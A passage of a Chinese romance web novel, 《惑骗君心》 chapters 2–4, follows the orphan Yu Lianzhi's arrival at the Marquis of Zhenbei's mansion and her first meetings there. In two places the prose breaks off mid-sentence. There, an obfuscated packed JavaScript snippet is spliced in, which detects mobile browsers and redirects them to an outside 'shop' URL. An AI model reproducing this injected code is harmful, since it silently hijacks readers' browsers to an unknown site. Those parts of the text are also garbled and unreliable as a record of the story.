《惑骗君心》 2. 入京 平武十七年。 阳月中旬，京城已入深秋，金井落叶红转郁，石路铺尽层层赤黄，正是天高气阔时节，秋日和暖，萧风却愈发寒凉。 世族府邸所在的地方不似百姓街市热闹，即便现下是午时，高墙红瓦之间也是宁静。路两旁种梧桐，有专人侍弄，倒也是一番美景。 厚织精绣帘盖的马车行过官道，缓缓驶入镇北侯府所在的街巷。 少女白细的小手轻轻挡开马车侧面的垂帘，淡粉蔻丹在暖阳下闪有点点光亮，腕上的翡翠镯与流苏吊着的玛瑙碰撞出叮当脆响。 玉怜脂轻轻探出半张俏生生的脸蛋，杏眼中是水润的盈光，悄悄向外望，面上有淡淡笑意。 京都，虎狼蛇虺盘踞之地，千百年龙渊蛟府，血肉泼刷出的繁华，倒确实贵美珍奇。 她们从苏州出发来京，走了最快的水路，终究也有几十天的奔波疲劳。 半个时辰前在京城码头下船时，玉怜脂的脸色惨白如纸，现下换了马车走陆路，不用再闻水汽的腥涩，胸中郁气才清扫荡空。 双亲去世，她受世叔相邀到京城避难。 仇家要斩草除根，一路追杀，玉家为护她已经耗费上万两雪花银，江南五大镖局的镖师全死过一遍，才保她安全入京。 马车帘子掀开后，秋季的风便徐徐钻进厢里，陪在马车内的老妇人赶紧将玉怜脂扶着坐好，一拉帘绳，车厢又慢慢恢复了暖意。 “姑娘诶，你身子不好，不能多吹冷风的呀，要受凉！” 她被阻了赏景也不恼，慢慢收回手，扯了小毯子覆住腿，乖巧地朝面前的老嬷嬷笑：“晓得喽。” 她是吃准了老妇人不舍得多唠叨她。 关嬷嬷只得无奈地瞪了玉怜脂一眼，往她的小手里塞小暖炉。 少女微微低着头，像是思索什么。 刚刚她掀帘子往外瞧时，已全然看不见那些走街串巷的货郎，商贩吆喝高喊的声响也消失殆尽。 几批穿戴精秀的女子路过，姿态甚好，步子迈得小却走动得快，身上衣料不错，但式样不像官家小姐，想来是勋贵家宅中伺候的婢仆。 她们已入历朝公侯传袭家宅所圈范围之内。 玉怜脂看了一眼关嬷嬷，道:“嬷嬷，打听清楚了么?” 贴身伺候玉怜脂的关嬷嬷是玉家的旧仆，年轻时跟着商队走南闯北，探听消息是一把好手。 玉家行商多年，金银如粪泥，珠玉碾作土，只要使足了银钱，断然没有不肯开口的碴子。 老妇人垂眉靠近，对着玉怜脂用苏州官话低声道：“打听到了不少。那些仆婢说，如今侯府里统管后院的是已故老侯爷的嫡妻，王老太君。前院总共两位郎君。” “一位是现任镇北侯，五年前袭的爵，名砚深，行二。” “另一位，就是咱们要投奔的谢滨大人，谢府的大郎君，侯爷的庶长兄。” 玉怜脂点点头，垂下眸。 这位谢滨大人，她该唤一句世叔的。 爹爹走之后，是他修书一封寄到苏州，让她入京。 只不过她是女子，日后要在侯府后院生活，谢滨身为男儿在外自有广阔天地，不可能时时刻刻顾及她。 玉怜脂明白，自己一介孤女，大宅院里寄人篱下，摸清楚镇北侯府女眷的情况才更重要。 “镇北侯府后院只有老太君？我记着滨叔已经婚娶了。那位镇北侯呢？” “谢滨大人的确早已成亲，据说夫人姓高，还生了一双龙凤胎，现下约莫八九岁了吧。只不过这位高夫人许多年来一直卧病在床，好像已经连人都认不大清了，不是管事的。现下管大房琐事的是谢滨大人抬的一位良妾方姨娘。” 关嬷嬷沉吟一会儿，又道:“至于镇北侯……只知道如今府中没有正经主母，想来那位侯爷没婚娶，但不知是否有定下的亲事或通房侍婢。” 玉怜脂听罢，默默记在心中。 一入侯门深似海，听关嬷嬷的话，愿意庇佑她的谢滨虽也是主子，但在侯府里外都不是真正能拿主意出决断的人。 既做不了主，那她这靠山便不牢。 若是行差踏错，她恐怕有万劫不复之险。 玉怜脂闭上双目，不再言语。 约莫过了一刻钟，车厢外传来马夫的声音:“娘子！前头再转个弯，就到侯府角门了！” 话音落下不久，便能感到车头一转，再行一会儿，车夫就猛拉缰绳，呼吁控马。 漆红木门前，金银丝纹饰雕壁的马车缓缓停下，关嬷嬷先一步推开车厢小门下去。 她刚落脚石板地，正转身要扶玉怜脂时，远处传来阵阵沉踏之声。 老妇人回首眺目一望，似是哪家勋贵的郎君策马回府。 此刻正值午时末，的确是大臣们下朝归家的时辰。 打头的千里乌骓马雄健无匹，皮毛油光发亮，通体深黑，如惊电般飞驰而来。后面跟着的五骑也是清一色的名品雪蹄青骢。 勋爵府邸前的道路被下人们清扫得很干净，骏马奔袭也未激起尘浪，只扬飞了许多下落的红叶。 好马自是脚程极快，踏云乌骓转眼间便至众人眼前。 群马扬蹄落定，竟是纷纷停在她们的马车旁，侯府的角门处。 关嬷嬷立于马车旁，没有立刻叫玉怜脂。 人生地不熟的坏处便是如此，她需得看看旁人反应，才好行事。 乌骓马背上的高大男子气势凛凛，腰背硬挺如松柏，利目薄唇，玉相清举，望之令人心生敬畏。 身上着赤色麒麟纹一品官服，腰蹀躞，冠固玉，一眼便能肯定是手握重权的武臣。 此刻他沉厉目光直射而来，关嬷嬷身边谢滨派来接应玉怜脂入府的下人，皆已一片静默，全部规规矩矩跪地行礼。 “请主子安——” 关嬷嬷心中咯噔一下，镇北侯府内成年健在的郎君有两位，谢滨当初在苏州城盘桓几年，与玉家经常来往，她是见过的，这位肯定不是。 那她们面前这位，毫无疑问就是侯府里说一不二的主子爷，镇北侯谢砚深。 老妇人连忙跟着身旁仆婢一同行礼，侯府下人们均屏息平气，不敢抬头，主人家没问话，他们自然不能先出声。 玉怜脂行船来京早有传讯，但谢屈今日正好有要事在身，不能来接。 大房主母高氏又是陈疴缠身，管大房的方姨娘是小妾，轻易不能出府门。 谢滨是庶出，官场上也不大得意，即使借了祖荫，如今也只是个不上不下的从五品，没什么实权，更别提对侯府有什么助力了。 他邀来的客人，难不成让王老太君这位诰命在身的嫡母或者镇北侯出面迎接? 关嬷嬷自问她们玉家可没有这个体面。 谢滨也明白这一点，便多遣派了些下人来接，约莫三十多人，以表重视。 其实本也没什么。 玉氏是商贾，身份不高，玉怜脂又是孤女，太好的待遇，也要不起。 谁知这么不凑巧，偏偏和镇北侯撞在一个时辰到府，跟着她们的下人都不是得脸的大丫鬟，没一个能撑得起场面的，只能留着她们自己应付。 谢砚深冷眼看着哗啦啦跪了一地的下人，里头还有生面孔，穿戴不似京畿之地的人士，角门旁边停着辆精巧马车。 他开口问道:“这是做甚?” 关嬷嬷深吸口气，定了定神，正要抬头回话。 车厢里忽地传来少女疑惑的问话声：“嬷嬷?” 声中夹带着丝丝吴侬软语的音调，并不突兀，反而甚是勾人。 那乌骓马上的男人瞬间被吸引到了马车这边，开口道：“马车上是何人?” 他音沉，带有断玉碎金之感。 关嬷嬷一扭头，急忙起身，步到马前俯首答道：“回侯爷的话，我家姑娘受谢滨大人相邀，来府中作客。” 谢砚深没有应她，只冷盯着马车。 他身后圆眼怒目相的蓝袍侍从则先一步下了马，大踏步走到关嬷嬷面前，道： “既是镇北侯府的客人，就请下来见个礼吧！” 这侍从声量不小，玉怜脂在马车中自是也听到了，少女不可察地挑了挑细眉。 不想刚到这侯府，最先拜见的不是收留她的大房夫妇，而是这位传闻中铁腕专行的侯爷。 她理了裙摆，开口唤人：“嬷嬷。” 守在马车旁的关嬷嬷心领神会，小厮们抬了踏凳，候在马车旁。 小门“吱”地打开，绣帘掀起，少女雪白纤细的手伸了出来，被老妇人稳稳扶住，身子探出，慢慢下了马车。 行动间可见其身姿袅娜，神色淡淡仿若姣花照水。 玉怜脂踩着小凳轻巧落了地，回身莲步轻移， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991693|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了乌骓马前，向马上男子行礼。 “给侯爷请安。民女初来乍到礼数不周，请侯爷勿要见怪。”少女嗓音犹泠滑润，胜过百灵。 谢砚深利落下了马，听见她问安也没有立刻回话，沉默着看向她。 原本慢抚手上虎骨镶玉扳指的指尖一顿，面色如常。 后头牵着马的几名护卫却都忍不住眼中惊艳。 眼前这个瞧着娇滴滴的小娘子着实是好颜色。 软披风下的织金粉裙裹着娇娆身段，一双桃花眼尤为水灵，眼尾有一点小小美人红痣，白俏的鹅蛋脸滑腻可人，娇妍绝伦。 江南水乡多佳人，果真不假。 “起来吧。”片刻后，终于开口。 听见他发话，玉怜脂缓缓起了身，醇谨自如。 诗传词唱，苏杭女子多静娴柔顺，她从小江南金玉堆里长大的，性子不该有例外。 自己还从未见过王侯，玉怜脂想。 她见过的最大的官是苏州城里的前任知府大人。 那是个老古板，胡子长长，枯树皮一样的脸。 都说北方男儿狂傲，多的是五大三粗如虎凶暴的汉子，习武的尤甚，也不知是不是真的。 少女探究的视线从下往上慢慢移去，祥云银织的玄色靴，再往上是繁复暗纹的官服下摆，窄腰，宽肩，她正正朝前望去，竟见不到男人的脸。 他比她高许多，仿佛伸手一抱，就能轻松将她锁在怀里。 玉怜脂飞快抬头扫了一眼，看清了面前男人的模样，也瞧见了他正沉沉盯着她。 养在深闺的小娘子极少见外男，玉怜脂看了一眼，便又低下头，心中有小小的惊讶。 原来，京城里的侯爷是这副模样。 一点不粗犷，反而生的极好，看着活龙鲜健，清肃正派。 他们离得有些近，即便隔着衣衫，玉怜脂也能感受到男子健壮肌体若有似无的灼热，难免有些不适。 “你是苏州来的玉氏?”玉怜脂听见他问。 想来是谢滨提前在府里报备过。 她轻轻点头：“是。” “叫什么名字?” “……怜脂。” 谢砚深没有动，声音沉冷：“哪两个字?” 尽管他与她的距离很合规矩，但他说起话来，就仿佛贴着她的耳朵。 热气熏痒，少女圆润润的耳垂染上了绯色。 玉怜脂静默一瞬，随后抬起手，她细腕上戴着双镯，右手将外头的那只脱了下来，掌心托着，递到男人面前。 “在镯子里侧刻着，侯爷可一观。”她顺从应道。 谢砚深不置可否，默了一会便抬起手来。 当他的大手与她玉质般皮肉接近时，玉怜脂才惊觉，天下说传北地男子桀气烈力并非作假。 这只蜜色趋深的大手尽是陈痂，青筋盘结，而她的手白皙细滑，与之相比，如兔搏狮。 她又想起长久以来百姓相传之言。 昔年，现镇北侯承亡父之志，横扫塔碌、金轲、尨钴鞍……清戮北境关外众异族，勇冠三军。 一柄寰陇沉枪，运如神兵，风峡关之战中，他瞬息之间便挑杀金轲国悍将孤安恭之首级。 眼前的这个男人，只是面容萧肃清俊，其身如抑眠之虎狼。 谢砚深将玉镯握悬于空，定睛看去，他目力极佳，霎时便看见里面雕刻的两个小字。 ——“怜脂”。 她的名讳。 男人依旧平静，看完之后，将镯子又放回她的手里。 随后朝她淡淡点头，不等她说话，开口吩咐周遭的下人： “伺候姑娘入府安置。” “是——” 玉怜脂重新戴好镯子，抬眼间便与他冷锋般眄视撞在一处，她像是被吓到了一般，复又低首不言。 谢砚深收了视线，再未看她，转身便快步入了角门。 群马均被牵入府，地上奴仆如释重负，纷纷起身。 这便算是过了来京后的第一道坎。 关嬷嬷快步到了她身边，仔细打量，见玉怜脂无大碍，才放下心：“姑娘，咱们走吧。” 少女白细的手指悄悄滑过腕上翠镯，上面好似还留着男人炽热的体温。 “好。” 女儿家脂泽花钏之流若近了男子气息，倒真有些不同。 3. 后宅 带路的婢仆恭敬地将玉怜脂领入府，一路行来，勋爵高门的气派尽显眼底。 亭阁楼台篆刻雕画均出自大家之手，其间所置宝瓶玉盂竟还有前朝奇士鸿宾谷的手笔。 花木清池之中，于嶙峋石底穿梭洄嬉的灵动游鱼也是珍品，名唤金鳞浸血，娇贵异常，难养亦难寻，鱼目可入药作引，一尾可值十金。 草草一观，那池中至少几十条。 玉氏商贾传家，各行各业的鬻卖贩售都多少有所涉猎，耳目熏染下，玉怜脂也算见多识广，故而认得。 赫赫京都王侯居，谢氏更是高门之中翘首，谢砚深乃不世出的将材，权势滔天，如今便是九州四海的繁华毓秀皆集于镇北侯府也无甚惊奇。 镇北侯府占地宽广，大房所在的院落离入府的角门很远，应当是想着玉怜脂体弱，大房那边便派了身强力壮的轿仆抬了小轿来接。 轿椅上铺了软罗垫，因秋气寒凉，还配了小毯，上绣九灵太妙龟山金母降世异象，此神乃护佑女妇，赐保长生的女仙之首，这图可谓寓意极佳。 玉怜脂轻划毯面，垂眸静思。 西王母眼目之处采金丝缂制，与斜射入轿的阳光相遇，竟撞反出波诡盈亮，精妙非常。 巧的是，图绣神目金光此刻正直直对准轿中少女双眸。 长生女仙西王母，既是生化万物之神明，同时也司天之厉及五残。 执掌灾祸之警示。 玉怜脂别过眼，不再去看，玉臂倚着扶手，闭目养神。 轿子走了约莫三刻钟，远远望见她们要往的西院，大房一脉所居之地。 先镇北侯战死沙场，但其原配发妻王老太君还在。 按照大昀朝的规矩，嫡母未逝不能分家，故而谢滨与妻子儿女依旧住在侯府西院，没有自立门户，但谢滨未做官前曾游历四方，于商事经营上有些门道，大房一应开支进项却也不仰仗侯府。 “玉姑娘，前头便到了，两位主子已经在里头等您了，夫人们都可盼着您来呢。”跟轿的婢女清声说。 玉怜脂轻轻瞥她一眼，目光回转没有说话。 夫人们? 谢滨不在府中，按理说现下守着大房的主子便只有那个久病不起的高氏夫人，何来这个“们”字? 那位方姨娘一是多年无子嗣，二非出自高门显贵，据说出身不大好，做不得贵妾，只是良妾，这还是谢滨爱重抬举的缘故。 这良妾虽比贱妾通房好些，却顶多算得上半个主子。 与正妻高夫人合称一处，那多少是有些不妥当的。 对于府中的下人们而言，郎君们纳的良妾自然是贵人，平日也要尽心伺候，但无人会将其与正妻一同列为主人家向外来宾客介绍，通常是忽略不提，心照不宣。 就像谢滨故去的生母刘氏，原是王老太君从娘家陪嫁跟来的侍女，因着开了脸，生下了庶长子，也得了良妾的名分，但在王老太君的面前，刘氏便是说一两句话都要打起十万分精神小心琢磨。 若是放在王老太君和刘氏的身上，根本不可能出现像今日这样“两位夫人”的情况，向宾客介绍，只会介绍老太君一人。 嫡庶妻妾尚是次要，说到底，还是出身相距太大。 王老太君与当朝太皇太后同出晋阳王氏，刘氏则是身契捏在老太君手上的侍女。 而大房的高夫人，也一样是世家女。 莒菏高氏，早在本朝未开国前，便是雄踞一方的大族，若非镇北侯府世代功勋，重兵在握，只凭着谢屈本人并不算太出众的才干，根本不可能娶得到高氏贵女。 换句话说，谢滨其实是高攀了这位正室夫人。 一个出身高贵，育有子女，甚至做王妃都有资格的结发嫡妻，一个无子嗣无根基，连来历都不清的妾室，如何能相提并论。 但目前的情况…… 玉怜脂垂下眼，抚着腕上的玉镯。 这位高夫人虽门第极为不俗，但无奈身子太不争气，若是压不住夫君房中宠妾，倒也不算稀奇。 高夫人卧病多年，根本管不了事。大房内指派人手，银钱进出，账目清查等要紧庶务自然全把在方氏手里。 更别提主君房中伺候寝榻之事，谢滨只纳了方氏一个妾室，其余那些旧时的通房早在主母进门前遣散了个干净，肯定多是宿在她那里。 最要紧的是……高夫人所生的那对龙凤胎，似乎也是方氏在照顾着? 若真是如此，积年累月下来，说不得这位方姨娘已经将大房牢牢捏在手心，正妻当然便形同虚无。 即便高夫人心中不喜，想改变局面，可重疾缠身，只怕也是有心无力。 小轿稳稳停下，落于红木大门前，守门的侍女见着轿子，便立刻迎上来。 “奴请玉姑娘安！可算盼着您了，如夫人和大夫人都在屋子里等您呢！”这侍女长得清秀，说起话来倒是热忱。 玉怜脂扶着关嬷嬷的手从轿子里出来，悠姿雅仪，姣颜荏染，往面前一站，恍若瑶池仙子，倏然间，那侍女竟不由得痴了痴。 好个令人停睇神驰的美人儿！ 在她出神之际，玉怜脂也在打量着眼前这个侍女，听她所言，大房内管这位方氏竟不称姨娘，反言“如夫人”。 如夫人一词由来已久，但于本朝并不常用，尤其在尊卑嫡庶鲜明的世家之中，只因其中敬意颇深。 妾通买卖，地位卑下，若称呼妾室“如夫人”，正室难免会有所怨妒，后宅自然不安。 这位方氏良妾得此称谓，其势之盛可见一斑，她入府不过半个时辰的一段路，便已见识了两次。 玉怜脂瞥了身旁关嬷嬷一眼，老妇人微微颔首，对着面前迎客的婢女道:“不知如何称呼?” 这一声仿若惊雷，终于将眼前这个心神不知飞向何处去的婢女呶醒了。 “啊……奴婢是西院的大丫鬟，叫汀雨，姑娘请随我来吧。”那婢女回过神来，又是恭恭敬敬的规矩样，倒确与平常粗使奴仆有些不同。 玉怜脂淡淡点头，跟在她身后，一行人入了西院大门。 西院实际上并非单独零立的院子，而是诸多楼台房阁聚在一起的建筑群落，比起寻常京官的府邸还要气阔许多。 跨了门槛入内，便见着庭院小石桥旁一颗枯叶凋敝的大树。 树干极粗，大约五人才可合抱，很是打眼，离树不远处的回廊底有一小口，此时正倏倏往外冒着丝缕白汽。 那名叫汀雨的婢女见玉怜脂扫了那处一眼，便笑着解释道： “姑娘瞧，那是烧地龙的汽儿呢！树旁边那处不知道从哪个火道通过来的小口，位置不好，封也封不上，索性就随它去了。” “如今虽还未入冬，但大夫人受不得寒气，如夫人便早早地吩咐院里烧了地龙，也好暖和些。” 玉怜脂笑道：“如夫人体贴。” “可不是！我们如夫人良善，照料人那是无有不至的。”汀雨应道。 一踏进回廊，地龙升腾起的融融暖意便袭扑玉怜脂周身。 两侧的廊幔换成了里棉布外薄缎的双层，上有花鸟绣图，夜间放下后防风又不失雅致。 如今还是白天，廊幔并未垂下，而是拢起挂于铜钩上，凉风便直直吹拂进来，但走在这回廊之中，火道蒸出的热也足以让人一身寒气都尽数褪去。 屋门外的侍婢见着她们，福了福身子，便将珠帘掀起，玉怜脂定定神，踏了进去。 尚未入眼堂中之象，便先嗅到了一股甜苦之气。 幽幽清香夹杂着若有似无的药味，虽不至于腥臭，却令人不适，若长久居于此，恐怕要恶心作呕。 紧接着，破哑风箱拉动般的喘息之声钻入耳中，“咳——嗬——”，粗重呼吸之中有喉部黏液被吹动的细响。 这声音玉怜脂似曾相识，在她年幼时，江南水患，污浊洪水所过之处爆发时疫，苏州城富庶，城外流奔来了许多难民。 她当初年纪太小，又不谙世事，很是顽皮，偷偷藏身于府中前往城门处施粥放药的车队中，一同去了难民所聚之地，也真正见到了何为人间炼狱。 那些眼目直楞，窝在腥臊污血染湿被褥里不堪灾病折磨的濒死百姓，便是如此呼吸。 玉怜脂立于堂中央，抬眼望去，顿时心神大震。 只见正堂之上是一位年轻美妇……和一具披着华服的骨架。 不，应该是只剩一张皮囊的人，女人。 镇北侯府大房主母，高氏。 鸠形鹄面，瘦骨伶仃，这位大夫人的病情竟已到了如此境地。 在她身旁小心抚背的素雅罗裙女子，温柔恭顺，她发髻上虽钗环不多，所用珠翠也都是上品，应当就是大房的如夫人方氏。 倒是与玉怜脂所想不同，高氏与这位方如夫人瞧着并非水火不容，反倒有些姐妹情深的样子。 两人见到玉怜脂进来，不约而同露出了笑容，不住打量着她。 玉怜脂站定后，规规矩矩向座上两人行礼问安:“怜脂给夫人、如夫人请安。” 率先迎过来的是方氏，她与高大夫人对视一眼后便下了正座，将玉怜脂扶起来。 “好孩子，快起来。”方氏言语温柔，果真如先前婢女所说般和善，“往后都是一家人，作那些个虚礼干什么?” 此时，身后的高夫人也出了声:“诶呀……真是个标致的丫头，快，快过来……让我好好看看。” 与她瘦削病弱到有些可怖的外表不同，高夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991694|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的声音中竟还有些气力，让她也因此多了点活人气。 玉怜脂笑着点点头，方氏便拉着她的手去了正座前。 高夫人身患顽疾，四肢不免冰凉，一双手骨节突出，皮肉带着棕色斑点。 她仔仔细细地瞧着玉怜脂，握着她的手哑声道： “好孩子，你是叫怜脂吧，你滨叔先前便同我说过你是个懂事乖巧的姑娘……嗬……以后，你唤我婶婶就是……” 她每说几句，面上似乎就灰败几分，顿了顿，又接着说道: “西院后头的翡韵阁前些月便收拾出来了，就等你来……从今往后，你就安安心心待在府里……咳，咳……” 低咳几声后，高氏又引着玉怜脂去看一旁含笑的方氏，道： “这是你方姨……她最是个好性的，我这身子……太不成器，往后若是吃穿用度上有些什么，你尽管……尽管去找她。” 玉怜脂暗暗有些惊讶，高氏与方氏关系倒真是好，竟将妾室抬高到了与自己同一层的地位，对自己不能持家之事也似毫无芥蒂。 只是不知这份难能可贵的后宅真情是否作假。 一个病入膏肓的正妻，一个把控后院的宠妾，两者能和平共处，真是因为皆是良善之人么? 玉怜脂颔首笑道：“是，怜脂记下了，多谢高婶婶、方姨。” 接着众人在堂中又嘘寒问暖一番，高夫人却突发不适，呼吸粗重急促起来，瞧着竟是要痰厥而踣，几欲昏迷过去。 方氏急忙将她扶回去，又让下人带玉怜脂去安置的地方休整，只说晚些时候谢滨便回来了，届时再叙，她舟车劳顿，先休息一会儿。 玉怜脂乖巧应下，目送方氏指挥下人搀扶高夫人离开后，跟着前来接引的婢女退出了正堂。 引路的小丫鬟看着是个天真活泼的，不等关嬷嬷问，她便说了好些消息出来。 “玉姑娘别见怪，大夫人身子不好，一般服了药后便不大清醒，两三月也难得坐在堂上一回。今日也真是太巧，姑娘你来了，夫人精神头居然就好多了，也能走动了，可见您是身带福气之人呢！” 这是好话，但玉怜脂听完倒没说什么，只抬眼示意了关嬷嬷。 等进了翡韵阁后，那些引路的婢子都得了些金叶子作为辛苦费，喝些好茶水，贴补家私都是好的。 前头来接她们的马夫、轿夫等粗使下人也都得了好处，金银使下去，下人们便也知道这位镇北侯府的娇客出手阔绰，好相与，伺候起来自然也尽心些。 水路气腥，陆路沙重，玉怜脂喜净，行船颠簸，使她浑身酸软，故而入了阁中她便吩咐下人要了水净身更衣。 浴房内茫茫雾腾，玉怜脂过腰长发与柔白身子一同浸入撒了皂花的水面，发如漆墨，身似冰玉，两色相缠，平添娇娆。 关嬷嬷绕过屏风走到她身边，放下丝帕后转身道： “姑娘，方才下人来传了话，说谢滨大人回府了，请示了老太君，今个各院主子一同到润安堂用晚膳，让您有些准备。” 玉怜脂阖上的双目缓缓睁开，轻声说：“知道了。” * 镇北侯府主院，书房。 福明端着祁门红缓步进了内书房，不敢有过多声响，将热茶置于紫檀桌案上，便退到桌前，低头说道： “侯爷，老太君那边传了话来，今日晚膳各院一同到润安堂用。” 谢砚深垂目阅理政事，并未抬眼，道：“是为了今日大房迎入府的玉氏？” “是。”福明应道，“侯爷，是否要备份礼?” 外客寄宿府中，按辈分来算，他们侯爷是那位玉姑娘的长辈，长辈见小辈，见面礼总是少不了的。 男人停住手中湖笔，默了下来，似乎在思索。 片刻，沉声吩咐：“库中有一副宫里来的点翠头面，封了礼，晚些一同带去。” 立在原地的福明顿时瞳孔紧缩。 那副珊瑚金玉点翠头面可是太后年宴赏的东西，用的是最好的一批软翠，点翠之色经世不褪，奇珍非常，宫中妃位以下的嫔妃见都难见。 谢砚深是武将，当然用不着女儿家首饰。他位高权重却一直未娶，虽然当时不说，但宴上众人都心知，这份礼多半要到未来镇北侯府主母的手里。 怎么如今却要送给刚入府的商贾女子? 他们侯爷可不是温良宽厚的主，这份礼也太大方了些。 福明又想起今日在角门外见到的玉氏女娘，论容貌，确实是世间难寻。 可侯爷从来不好女色，应当也不是…… “怎么？”谢砚深抬起眼来，目眄如锋。 福明急忙回神，散了脑中胡思乱想，俯下身应道：“是，奴才这就去办。” 4. 拜见 西院，翡韵阁。 天气寒凉，侍奉沐浴的两名小婢女手脚麻利，用软绸巾净了玉怜脂身上的水，快速为她披上厚绒披风，随后扶她躺下。 她的长发尽数散在小榻尽头放着的软凳上，关嬷嬷拿了内里搁了上好银炭的镂金球炉立在一旁，婢女借着暖炉的熏热，先用犀角梳将密而软的墨丝梳开，随后覆上锦布，为她烘干发。 翡韵阁的浴房空间很大，分隔不同的区域，也通了地龙，将寒气牢牢隔在门外。 剩下的那名婢女转身去了房门处，开门低语几声，门外又进来了一名年岁不小的妇人，提着一个小箱。 妇人先在房中的落地铜熏炉旁站了片刻，驱散了周身冷寒。 引妇人进来的婢女此时已经走回小榻边，手上捧着沉重的木盘，盘中摆置着各色调制好的香膏与用具。 玉怜脂静静地躺着，双眼半阖，望着上方。 将木盘摆置好后，婢女朝她欠了欠身，随后解开了那披风的盘扣，厚绒散开，一片灼人眼的极致雪白。 婢女执玉片，挑了香膏，软柔的腻物落在皮肉上，惹起一片冰凉。 抹好香膏，婢女朝旁边的热水盆伸去双手，待手热到偏红方才拿出，随后迅速擦干，覆盖上皮肉。 不可思议的软腻让做惯了按蹻的婢女都猛地一惊，只觉自己触到了一团水凝成的雪冻，力度都不自觉轻了许多。 两手压着香膏，由外入内，流连之后指揉掌捻，酥麻骨软，躺在榻上的少女微眯着眼，轻轻呼出气，房中昏热，玉色生香。 而烘净冷意的妇人也提着小箱站到一旁，而后就着地上蒲团跪坐，小箱打开，是已经捣好的数十种花汁。 “姑娘，请您择色。”妇人将小箱中的花汁尽数排开，捧到榻旁，她的声音很低，在一室寂静中也不显得突兀。 玉怜脂微微偏首，面上是被热熏出的薄红，眼中微带恹色，像是有些困倦，抬起右臂，纤指点中其中一瓶。 白粉净透的偏素色。 挑完后，转回头，闭上双眼。 妇人了然，随后拿出一应器具，开始为她染上新的丹蔻。 …… 一切事毕后，关嬷嬷捧来衣裙，淡青银莲纹的绸裙，玉怜脂站在铜镜前，看着身后婢女为她束好腰带，佩上香囊玉环等物。 那提着丹蔻小箱的妇人张四娘原是府中派来侍奉的梳头娘子，心思灵巧，手艺更是精湛，待玉怜脂换好衣裙，便引她在妆台前坐下。 约莫是知道她今日偏好素净的装扮，几番打量思索后，张四娘轻声道：“姑娘，奴婢为您挽垂挂髻可好?” 玉怜脂眨了眨眼：“……好。” 得了准话，张四娘便开始上手了。 少女的发柔滑似水，色深近墨，且厚、密、多、长，挽出来的发髻自然更添出八分好看。 云鬟雾鬓美人丝，发美素来是人人追求的容色美之一。 身旁，木轮滚动的声响传来，一座约莫四尺高，长宽均两尺的沉重螺钿红木大箱被推了过来，箱底的木轮应当是找了木匠专门打造，方便移动。 关嬷嬷在那箱子上七处按了几下，这木箱竟弹出数十小铜环，她牵着铜环逐一拉动，整座檀木箱便彻底展开。 站在玉怜脂身后的张四娘正往手心揉了些香泽，转头一看，顿时愣在当场，呼吸都为之一窒。 只见那沉箱之中好一片琳琅耀目、金辉银光，象牙珍珠、玛瑙翡翠、瑾瑜碧玺、玳瑁珊瑚…… 各色宝石珠玉在明亮光照下散发出堪称刺眼的彩芒。 箱中首饰皆分门别类放置妥当，钗、笄、簪、栉、步摇华胜、耳珰指环、手镯臂钏，数量繁多，每一件都是难得的上上品，这一箱子加起来，堪称价值千金。 张四娘心神惊震，揉开掌心香泽的动作都顿住了。 她做梳头娘子也有二十多年了，手艺在京中不说数一数二，名声打出去也是响当当的，因而被选中入了镇北侯府。 这些年她伺候过的贵人少说逾百，她敢打包票，眼前这位小娘子的首饰箱子，便是京中许多官家小姐的嫁妆都比不上。 而这箱子中璎珞、项圈等大物件只寥寥几样，但肯定不是没有，只能说明首饰数目还远不止此，其余的放在别处。 听门房李家的说，这回上京，这位玉姑娘足足带了一船的行李，现在还没运完? 又想起方才见她数人服侍出浴等事适应自如的样子，想来在家中便一直是如此待遇，故而习以为常。 这实不是寻常商户女子能比得上的娇贵。 果真不愧是江南豪贾之女，几代单传，爹娘又都死了，所有的家产那还不都是…… “张娘子?”玉怜脂望着镜中，镜面倒映出身后一动不动的中年妇人，轻声唤道。 张四娘身体猛地一震，一眨眼就扯出个笑容：“啊……姑娘的首饰真叫奴婢看花了眼！正想着挑哪几样来配姑娘的衣裙才好。” 似乎一点都不介意她的失礼出神，妆台前的少女笑意盈盈，轻声细语：“只消雅致些便可。” 语气也是极温和。 张四娘心下感叹这位新入府的主子真是好脾气，忙不迭应声：“是。” 梳头的间隙，移来箱子的关嬷嬷又捧出一个匣子，打开之后，一只质腻泽白的羊脂玉镯躺在锦缎上。 关嬷嬷小心将那只玉镯拿出来，捧起玉怜脂的左手，为她戴上，随后取来一只色泽相近的白玉镯子，套在外头。 镯戴双数，富贵吉祥，更有环佩玎珰的意趣。 玉怜脂收回手，细细抚摸着腕上内里的那只玉镯，唇角有淡淡笑意。 这只成色极佳的玉镯是戚脂和玉逢羲一起制成的。 从选料开始，一直到打磨出成品，她的爹娘都没有假手他人，怀着满心舐犊之情为她准备了这份及笄礼物。 只可惜，红纸描金的笄礼请柬没能递给亲朋旧友，那年的玉宅只送出去一封又一封白事丧帖。 站在玉怜脂身后的张四娘已经利落地开始收尾了，妆台前，敷粉斜红等物也排开，关嬷嬷站在一旁，只待发髻挽好为她上妆。 镜前少女容色姝丽，肤如凝脂，铅华只需薄薄一层即可，太过反而艳媚，于今日的场合不宜。 玉怜脂一行到府门时正是午时末，入府后拜过高氏、方氏，加上梳洗打扮，如今已经未时，而润安堂晚膳定在申时，离出发还有一段时间。 她要先去见谢滨。 * 西院，善启堂。 陈六脚步轻快入了堂中，朝上首坐着的男人行了一礼： 